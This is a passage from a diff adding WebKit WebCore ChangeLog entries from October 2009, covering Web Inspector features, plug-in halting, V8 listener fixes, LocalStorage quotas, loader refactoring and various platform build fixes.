+        (WebCore::DOMWindow::close):
+        * page/History.cpp:
+        (WebCore::History::length):
+        * page/Page.cpp:
+        (WebCore::Page::canGoBackOrForward):
+        (WebCore::Page::goBackOrForward):
+        (WebCore::Page::getHistoryLength):
+        * page/Page.h:
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+
+2009-10-02  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: prepare InspectorController for being used from layout tests.
+        This change adds evaluateForTestInFrontend method with the callback that
+        allows evaluating arbitrary code in the frontend context.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30008
+
+        * WebCore.Inspector.exp:
+        * WebCore.order:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::didEvaluateForTestInFrontend):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::evaluateForTestInFrontend):
+        (WebCore::InspectorController::didEvaluateForTestInFrontend):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::evaluateForTestInFrontend):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/inspector.js:
+        (WebInspector.evaluateForTestInFrontend):
+
+2009-10-02  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Node search mode is not getting reset on element selection.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30016
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+
+2009-10-02  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30036>
+        Should be able to resize Cookie Columns.
+
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype.update.callback):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype.resize):
+
+2009-09-25  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Make WebCore::PluginView participate in plug-in halting.
+
+        Reviewed by Sam Weinig.
+
+        * platform/graphics/BitmapImage.h:
+        Declare a create() function that takes an HBITMAP.
+
+        * platform/graphics/win/ImageCGWin.cpp:
+        (WebCore::BitmapImage::create):
+        Use GetObject() to fill out a DIBSECTION structure for the given
+        HBITMAP. Call CGBitmapContextCreate() to create a CG context from the
+        bits of the bitmap. Create a CG image from the context, and pass this
+        when creating a new BitmapImage.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::start):
+        If we successfully started, tell our parent frame's Page.
+        (WebCore::PluginView::stop):
+        Tell our parent frame's Page that we stopped.
+        (WebCore::PluginView::node):
+
+        * plugins/PluginView.h:
+        Inherit from HaltablePlugin.
+        (WebCore::PluginView::setPlatformPluginWidget):
+        On platforms where the platform plug-in widget is the WebCore::Widget's
+        platform widget, have setPlatformPluginWidget() call
+        setPlatformWidget().
+
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::halt):
+        Stubbed.
+        (WebCore::PluginView::restart):
+        Stubbed.
+
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::halt):
+        Stubbed.
+        (WebCore::PluginView::restart):
+        Stubbed.
+
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::PluginView::halt):
+        Stubbed.
+        (WebCore::PluginView::restart):
+        Stubbed.
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::halt):
+        Stubbed.
+        (WebCore::PluginView::restart):
+        Stubbed.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::platformDestroy):
+        After destroying the window, set the platform plug-in widget to 0 to
+        ensure that Widget isn't holding a stale handle.
+        (WebCore::PluginView::halt):
+        Have our element's RenderWidget display a screenshot of the plug-in,
+        then stop the plug-in and destroy it.
+        (WebCore::PluginView::restart):
+        Clear the RenderWidget's substitute image, then start the plug-in.
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::showSubstituteImage):
+        Set m_substituteImage to the passed image, and repaint.
+        (WebCore::RenderWidget::paint):
+        If we have a substitute image, paint that instead of allowing the
+        widget to paint itself.
+
+        * rendering/RenderWidget.h:
+        Declare showSubstituteImage(). Added a member to store the substitute
+        image.
+
+2009-10-02  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Move PolicyCheck out of FrameLoader.{h,cpp}
+        https://bugs.webkit.org/show_bug.cgi?id=30035
+
+        Purely code motion (and adding a destructor).
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/PolicyCheck.cpp:
+        * loader/PolicyCheck.h:
+
+2009-10-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Add NPNVToolkit value quirk in plugins for nspluginwrapper.
+        Plugin error message was:
+        ERROR: failed to initialize brower-side RPC events listener
+        https://bugs.webkit.org/show_bug.cgi?id=25053
+
+        (WebCore::staticPluginQuirkRequiresGtkToolKit_NPN_GetValue):
+        (WebCore::PluginPackage::load):
+
+2009-10-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] X sync our XEmbed container window creation before sending the
+        xid to plugins.
+        https://bugs.webkit.org/show_bug.cgi?id=25053
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded):
+
+2009-10-02  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Setting zero size on a container of a video element doesn't hide the controller
+        https://bugs.webkit.org/show_bug.cgi?id=30031
+        
+        Fix a logic error in enclosingCompositingLayer() when mixing normal flow and 
+        positioned layers. This resulted in enclosingCompositingLayer() giving back a different
+        answer to the logic used to actually parent compositing layers, so layer positions
+        and layer hierarchy would be out of agreement.
+        
+        Test: compositing/geometry/clipped-video-controller.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::compositingContainer):
+        (WebCore::RenderLayer::enclosingCompositingLayer):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::setCompositingParent):
+
+2009-10-02  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        - Move the following methods of HTMLInputElement and HTMLTextAreaElement
+          to HTMLTextFormControlElement.
+           setSelectionStart()
+           setSelectionEnd()
+           select()
+           setSelectionRange()
+           selectionStart()
+           selectionEnd()
+           selection()
+
+        - Introduce cachedSelectionStart() and cachedSelectionEnd().
+
+        - Unify HTMLInputElement::isTextFieldWithRenderer() and
+         HTMLTextAreaElement::rendererAfterUpdateLayout() into textRendererAfterUpdateLayout().
+        
+        - Unify a part of parseMappedAttribute() of HTMLInputElement and HTMLTextAreaElement.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29782
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLTextFormControlElement::textRendererAfterUpdateLayout):
+        (WebCore::HTMLTextFormControlElement::setSelectionStart):
+        (WebCore::HTMLTextFormControlElement::setSelectionEnd):
+        (WebCore::HTMLTextFormControlElement::select):
+        (WebCore::HTMLTextFormControlElement::setSelectionRange):
+        (WebCore::HTMLTextFormControlElement::selectionStart):
+        (WebCore::HTMLTextFormControlElement::selectionEnd):
+        (WebCore::HTMLTextFormControlElement::selection):
+        (WebCore::HTMLTextFormControlElement::parseMappedAttribute):
+        * html/HTMLFormControlElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::select):
+        (WebCore::HTMLInputElement::cachedSelectionStart):
+        (WebCore::HTMLInputElement::cachedSelectionEnd):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        * html/HTMLTextAreaElement.h:
+        (WebCore::HTMLTextAreaElement::cachedSelectionStart):
+        (WebCore::HTMLTextAreaElement::cachedSelectionEnd):
+
+2009-10-02  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Disconnect event listeners on navigation.
+        Fixes http://crbug.com/23597.
+        https://bugs.webkit.org/show_bug.cgi?id=30027
+
+        Added V8ListenerGuard that is shared by listeners and proxy. On
+        navigation proxy sets a flag in the guard turning off listeners.
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8ListenerGuard::create):
+        (WebCore::V8ListenerGuard::isDisconnected):
+        (WebCore::V8ListenerGuard::disconnectListeners):
+        (WebCore::V8ListenerGuard::V8ListenerGuard):
+        (WebCore::V8AbstractEventListener::disconnected):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getEventListener):
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findOrCreateWrapper):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::V8LazyEventListener):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::disconnectFrame):
+        (WebCore::V8Proxy::disconnectEventListeners):
+        (WebCore::V8Proxy::clearForNavigation):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::listenerGuard):
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener):
+        * bindings/v8/V8WorkerContextEventListener.h:
+        (WebCore::V8WorkerContextEventListener::create):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::WorkerContextExecutionProxy):
+        (WebCore::WorkerContextExecutionProxy::dispose):
+        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener):
+        * bindings/v8/custom/V8CustomEventListener.h:
+        (WebCore::V8EventListener::create):
+
+2009-10-02  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [chromium] Fix WebGL build after CustomGetter constructor changes
+        https://bugs.webkit.org/show_bug.cgi?id=30020
+
+        * page/DOMWindow.idl:
+        Changed CustomGetter to JSCCustomGetter for CanvasArray constructors.
+
+2009-10-02  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: text in a "Request Payload" section disappears on selection
+        https://bugs.webkit.org/show_bug.cgi?id=29967
+
+        No new tests.
+
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._refreshRequestPayload):
+
+2009-10-02  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Recursion guard for V8Proxy::callFunction.
+        Fixes http://crbug.com/23278.
+        https://bugs.webkit.org/show_bug.cgi?id=29974
+
+        Test: fast/xmlhttprequest/xmlhttprequest-recursive-sync-event.html
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::callFunction):
+
+2009-10-02  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fix test breakages by adding null checks, and putting inspector code in
+        ENABLE(INSPECTOR).
+
+        * dom/Document.cpp:
+        (WebCore::Document::finishedParsing):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::dispatchLoadEvent):
+
+2009-10-02  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Clean up the QNetworkReplyHandler to only apply HTTP headers
+        for protocols in the HTTP family.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-10-02  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Move error check into sendResponseIfNeeded() as suggested
+        by Eric Seidel. Also, remove some dead code.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-10-02  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Assertion failure in CompositeEditCommand::moveParagraphs() and crash in Node::nodeIndex() when pasting.
+        <rdar://problem/7148712>
+        https://bugs.webkit.org/show_bug.cgi?id=28992
+
+        Test: editing/selection/replace-selection-crash.html
+
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::mergeEndIfNeeded): Handle properly the case of
+        the destination position matching the end of the paragraph to move.
+
+2009-10-02  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Implement per-storage-area quotas for LocalStorage
+        https://bugs.webkit.org/show_bug.cgi?id=29991
+
+        I put 90% of the code in StorageMap since the decision to allow an update is
+        closely tied to quota tracking.  The quota is set via a page's Settings class.
+        Like with the local storage path and whether it's enabled, it's assumed that
+        all pages in the same group will have the same settings.  The setting defaults
+        to 5mb which is what the spec suggests, but it can easily be changed to
+        anything else--including StorageMap::noQuota.  Any values in LocalStorage are
+        grandfathered in regarudless of quota, so importItem only tracks (and will
+        never block) imports.
+
+        I believe this change is a good transition to more complex quota management.
+        For example, if we wanted to track quotas in the SQLite DB, then we'd just add
+        a function to the StorageMap that sets the quota.  This would be fine since all
+        use of LocalStorage is blocked on the import completing, so you'd never hit a
+        quota error in the mean time.  Also, if embedders wanted to ask the user
+        whether to expand the quota whenever it's hit (before deciding whether or not
+        to raise an exception), a callback via the chrome client should be fairly easy.
+        That said, I think it's best to add these features in steps rather than one
+        huge patch.  (Both of these are on my TODO list, btw.)
+
+        Included is a layout test that verifies the behavior.  It assumes the default
+        quota is 5mb (since that's what Settings defaults to).
+
+        Test: storage/domstorage/localstorage/quota.html
+
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::localStorage):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setLocalStorageQuota):
+        * page/Settings.h:
+        (WebCore::Settings::localStorageQuota):
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::create):
+        (WebCore::StorageAreaImpl::StorageAreaImpl):
+        (WebCore::StorageAreaImpl::setItem):
+        (WebCore::StorageAreaImpl::clear):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::create):
+        (WebCore::StorageMap::StorageMap):
+        (WebCore::StorageMap::copy):
+        (WebCore::StorageMap::setItem):
+        (WebCore::StorageMap::removeItem):
+        (WebCore::StorageMap::importItem):
+        * storage/StorageMap.h:
+        (WebCore::StorageMap::quota):
+        * storage/StorageNamespace.cpp:
+        (WebCore::StorageNamespace::localStorageNamespace):
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::localStorageNamespace):
+        (WebCore::StorageNamespaceImpl::sessionStorageNamespace):
+        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
+        (WebCore::StorageNamespaceImpl::copy):
+        (WebCore::StorageNamespaceImpl::storageArea):
+        * storage/StorageNamespaceImpl.h:
+
+2009-10-02  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Database Inspector crashes Safari when table has more than 21 columns
+        https://bugs.webkit.org/show_bug.cgi?id=29924
+
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.dataGridForResult): adjust the minimum column width percentage to be flexible for many columns.
+
+2009-10-02  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/14370>.
+        Inspector's timeline should record when certain DOM events fired.
+        
+        This patch adds calls into the Web Inspector when the main frame
+        fires an load event, and when the document fires its DOMContent
+        event. Once these values are passed in, they are sent to the Web Inspector
+        as a timing change, and these are denoted by vertical lines in the resources
+        panel (blue for DOM Content, red for load event).
+
+        * English.lproj/localizedStrings.js: Added tooltip text.
+        * dom/Document.cpp:
+        (WebCore::Document::finishedParsing): Added an Inspector callback for DOM Content.
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::mainResourceFiredDOMContentEvent): Tell the main resource it got the event.
+        (WebCore::InspectorController::mainResourceFiredLoadEvent): Ditto.
+        * inspector/InspectorController.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::InspectorResource): Added new variables.
+        (WebCore::InspectorResource::updateScriptObject): Send new variables to inspector.js.
+        (WebCore::InspectorResource::markDOMContentEventTime): Send a TimingChange event.
+        (WebCore::InspectorResource::markLoadEventTime): Ditto.
+        * inspector/InspectorResource.h:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.get mainResourceLoadTime):
+        (WebInspector.ResourcesPanel.prototype.set mainResourceLoadTime):
+        (WebInspector.ResourcesPanel.prototype.get mainResourceDOMContentTime):
+        (WebInspector.ResourcesPanel.prototype.set mainResourceDOMContentTime):
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded): Draw dividers for event timings.
+        (WebInspector.ResourceTimeCalculator.prototype.computePercentageFromEventTime):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::dispatchLoadEvent): Add an Inspector callback for the Load event.
+
+2009-10-02  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Add support for blacklist patterns to user stylesheets and scripts in addition to whitelist patterns.
+
+        * WebCore.base.exp:
+        * dom/Document.cpp:
+        (WebCore::Document::pageGroupUserSheets):
+        * page/Frame.cpp:
+        (WebCore::Frame::injectUserScriptsForWorld):
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::addUserScript):
+        (WebCore::PageGroup::addUserStyleSheet):
+        (WebCore::PageGroup::removeUserContentWithURLForWorld):
+        (WebCore::PageGroup::removeUserContentForWorld):
+        * page/PageGroup.h:
+        * page/UserContentURLPattern.cpp:
+        (WebCore::UserContentURLPattern::matchesPatterns):
+        * page/UserContentURLPattern.h:
+        * page/UserScript.h:
+        (WebCore::UserScript::UserScript):
+        (WebCore::UserScript::whitelist):
+        (WebCore::UserScript::blacklist):
+        * page/UserStyleSheet.h:
+        (WebCore::UserStyleSheet::UserStyleSheet):
+        (WebCore::UserStyleSheet::whitelist):
+        (WebCore::UserStyleSheet::blacklist):
+
+2009-10-02  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Build fix when SVG is not enabled
+        https://bugs.webkit.org/show_bug.cgi?id=30011
+
+        Move TextRenderingMode related functions out from
+        the ENABLE(SVG) guard.
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator TextRenderingMode):
+
+2009-10-02  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        WebGL crashes with recent CanvasArray change
+        https://bugs.webkit.org/show_bug.cgi?id=30018
+
+        Test: fast/canvas/webgl/array-unit-tests.html
+
+        * html/canvas/CanvasArray.cpp:
+        (WebCore::CanvasArray::CanvasArray):
+        Fix bug where PassRefPtr was tested after transferring value to RefPtr.
+
+2009-10-02  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        <https://bugs.webkit.org/show_bug.cgi?id=29989>
+        Safari version number shouldn't be exposed in WebKit code
+        
+        For a WebKit version of 532.3.4:
+        Product version is: 5.32.3.4 (was 4.0.3.0)
+        File version is: 5.32.3.4 (was 4.532.3.4)
+
+        * WebCore.vcproj/QTMovieWin.rc:
+
+2009-10-02  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Enable two point radial gradients in Chromium/Skia.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30017
+
+        Covered by the following tests:
+
+        LayoutTests/svg/W3C-SVG-1.1/pservers-grad-13-b.svg
+        LayoutTests/fast/backgrounds/svg-as-background-3.html
+        LayoutTests/fast/gradients/generated-gradients.html
+        LayoutTests/fast/gradients/simple-gradients.html
+
+        * platform/graphics/skia/GradientSkia.cpp:
+        (WebCore::Gradient::platformGradient):
+
+2009-10-02  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Conditionally guard cursor code (cursor and updateCursor functions) with !QT_NO_CURSOR.
+        Otherwise, it is inconsistent with class declaration of QCursor.
+
+        No new tests.
+
+        * platform/qt/QWebPageClient.h:
+
+2009-10-02  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] missing support for anamorphic PAR video size
+        https://bugs.webkit.org/show_bug.cgi?id=29717
+
+        cleanup of caps handling in the video sink
+
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_set_caps):
+
+2009-10-02  Prasanth Ullattil  <prasanth.ullattil@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix compiler warnings about unused function arguments.
+
+        * bridge/qt/qt_class.h:
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMetaMethod::call):
+        (JSC::Bindings::QtRuntimeConnectionMethod::call):
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::initializeParserContext):
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontCache::getTraitsInFamily):
+        (WebCore::FontCache::getCachedFontPlatformData):
+        * platform/graphics/qt/FontFallbackListQt.cpp:
+        (WebCore::FontFallbackList::setPlatformFont):
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::Font::offsetForPositionForComplexText):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::drawLineForMisspellingOrBadGrammar):
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::setURLForRect):
+        * platform/graphics/qt/IconQt.cpp:
+        (WebCore::Icon::createIconForFiles):
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::frameBufferAtIndex):
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType):
+        (WebCore::MediaPlayerPrivate::setEndTime):
+        * platform/graphics/qt/SimpleFontDataQt.cpp:
+        (WebCore::SimpleFontData::containsCharacters):
+        * platform/graphics/qt/StillImageQt.h:
+        (WebCore::StillImage::destroyDecodedData):
+        * platform/network/qt/DnsPrefetchHelper.h:
+        (WebCore::DnsPrefetchHelper::lookedUp):
+        * platform/qt/ContextMenuQt.cpp:
+        (WebCore::ContextMenu::setPlatformDescription):
+        * platform/qt/DragDataQt.cpp:
+        (WebCore::DragData::asURL):
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::populate):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::supportsFocusRing):
+        (WebCore::RenderThemeQt::systemFont):
+        (WebCore::RenderThemeQt::adjustButtonStyle):
+        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
+        (WebCore::RenderThemeQt::paintMediaSeekBackButton):
+        (WebCore::RenderThemeQt::paintMediaSeekForwardButton):
+        * platform/qt/ScrollViewQt.cpp:
+        (WebCore::ScrollView::platformAddChild):
+        * platform/qt/SearchPopupMenuQt.cpp:
+        (WebCore::SearchPopupMenu::saveRecentSearches):
+        (WebCore::SearchPopupMenu::loadRecentSearches):
+        * platform/qt/TemporaryLinkStubs.cpp:
+        (WebCore::signedPublicKeyAndChallengeString):
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::paint):
+        * xml/XSLStyleSheetQt.cpp:
+        (WebCore::XSLStyleSheet::loadChildSheet):
+        (WebCore::XSLStyleSheet::setParentStyleSheet):
+        * xml/XSLTProcessorQt.cpp:
+        (WebCore::XSLTMessageHandler::handleMessage):
+        (WebCore::XSLTProcessor::transformToString):
+
+2009-10-02  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] missing support for anamorphic PAR video size
+        https://bugs.webkit.org/show_bug.cgi?id=29717
+
+        Scale the cairo surface of the video sink depending on the
+        pixel-aspect-ratio of the video buffer to paint. Also
+        destruct/re-create the surface when setSize() is called with a new
+        size.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::naturalSize):
+        (WebCore::MediaPlayerPrivate::setSize):
+        (WebCore::MediaPlayerPrivate::paint):
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_idle_func):
+
+2009-10-02  Ben Murdoch  <benm@google.com>
+
+        Reviewed by David Kilzer.
+
+        Stale database version persists through browser refresh (changeVersion doesn't work)
+        https://bugs.webkit.org/show_bug.cgi?id=27836
+
+        Tests: storage/change-version-handle-reuse.html
+               storage/change-version.html
+
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Implement the V8 binding for database.changeVersion().
+        (WebCore::createTransaction): Fix a bug that was checking the wrong argument index to save the success callback.
+        * storage/Database.cpp:
+        (WebCore::updateGuidVersionMap): Safely update the Guid/version hash map.
+        (WebCore::Database::~Database): Remove code that removes the database from the guid->database and guid->version maps.
+        (WebCore::Database::setVersionInDatabase): Add a comment to explain some behaviour.
+        (WebCore::Database::close): Move the code that updates the maps from the destructor to here.
+        (WebCore::Database::performOpenAndVerify): Call updateGuidVersionMap instead of setting the hash map directly.
+        (WebCore::Database::setExpectedVersion): Update the in memory guid->version map when we want to update the database version.
+
+2009-10-02  Janne Koskinen <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Partial WINSCW build fix.
+
+        Add parentheses around the function pointer declaration, similar to the
+        second hunk in r48825.
+
+        * loader/CachedResourceHandle.h:
+
+2009-10-02  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed attempted build fix by Xcode magic.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-02  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed build fix.  Actually add the new files.
+
+        * loader/RedirectScheduler.cpp: Added.
+        (WebCore::ScheduledRedirection::):
+        (WebCore::ScheduledRedirection::ScheduledRedirection):
+        (WebCore::RedirectScheduler::RedirectScheduler):
+        (WebCore::RedirectScheduler::~RedirectScheduler):
+        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
+        (WebCore::RedirectScheduler::clear):
+        (WebCore::RedirectScheduler::scheduleRedirect):
+        (WebCore::RedirectScheduler::mustLockBackForwardList):
+        (WebCore::RedirectScheduler::scheduleLocationChange):
+        (WebCore::RedirectScheduler::scheduleFormSubmission):
+        (WebCore::RedirectScheduler::scheduleRefresh):
+        (WebCore::RedirectScheduler::locationChangePending):
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        (WebCore::RedirectScheduler::timerFired):
+        (WebCore::RedirectScheduler::schedule):
+        (WebCore::RedirectScheduler::startTimer):
+        (WebCore::RedirectScheduler::cancel):
+        * loader/RedirectScheduler.h: Added.
+
+2009-10-01  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Move RedirectScheduler to its own file
+        https://bugs.webkit.org/show_bug.cgi?id=29952
+
+        This change is purely code motion.
+
+        No behavior change.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/RedirectScheduler.cpp: Added.
+        (WebCore::ScheduledRedirection::):
+        (WebCore::ScheduledRedirection::ScheduledRedirection):
+        (WebCore::RedirectScheduler::RedirectScheduler):
+        (WebCore::RedirectScheduler::~RedirectScheduler):
+        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
+        (WebCore::RedirectScheduler::clear):
+        (WebCore::RedirectScheduler::scheduleRedirect):
+        (WebCore::RedirectScheduler::mustLockBackForwardList):
+        (WebCore::RedirectScheduler::scheduleLocationChange):
+        (WebCore::RedirectScheduler::scheduleFormSubmission):
+        (WebCore::RedirectScheduler::scheduleRefresh):
+        (WebCore::RedirectScheduler::locationChangePending):
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        (WebCore::RedirectScheduler::timerFired):
+        (WebCore::RedirectScheduler::schedule):
+        (WebCore::RedirectScheduler::startTimer):
+        (WebCore::RedirectScheduler::cancel):
+        * loader/RedirectScheduler.h: Added.
+
+2009-10-02  Dave MacLachlan  <dmaclach@gmail.com>
+
+        Reviewed by David Levin.
+
+        Clean up warnings in WebCore/bindings/v8/npruntime.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=29971
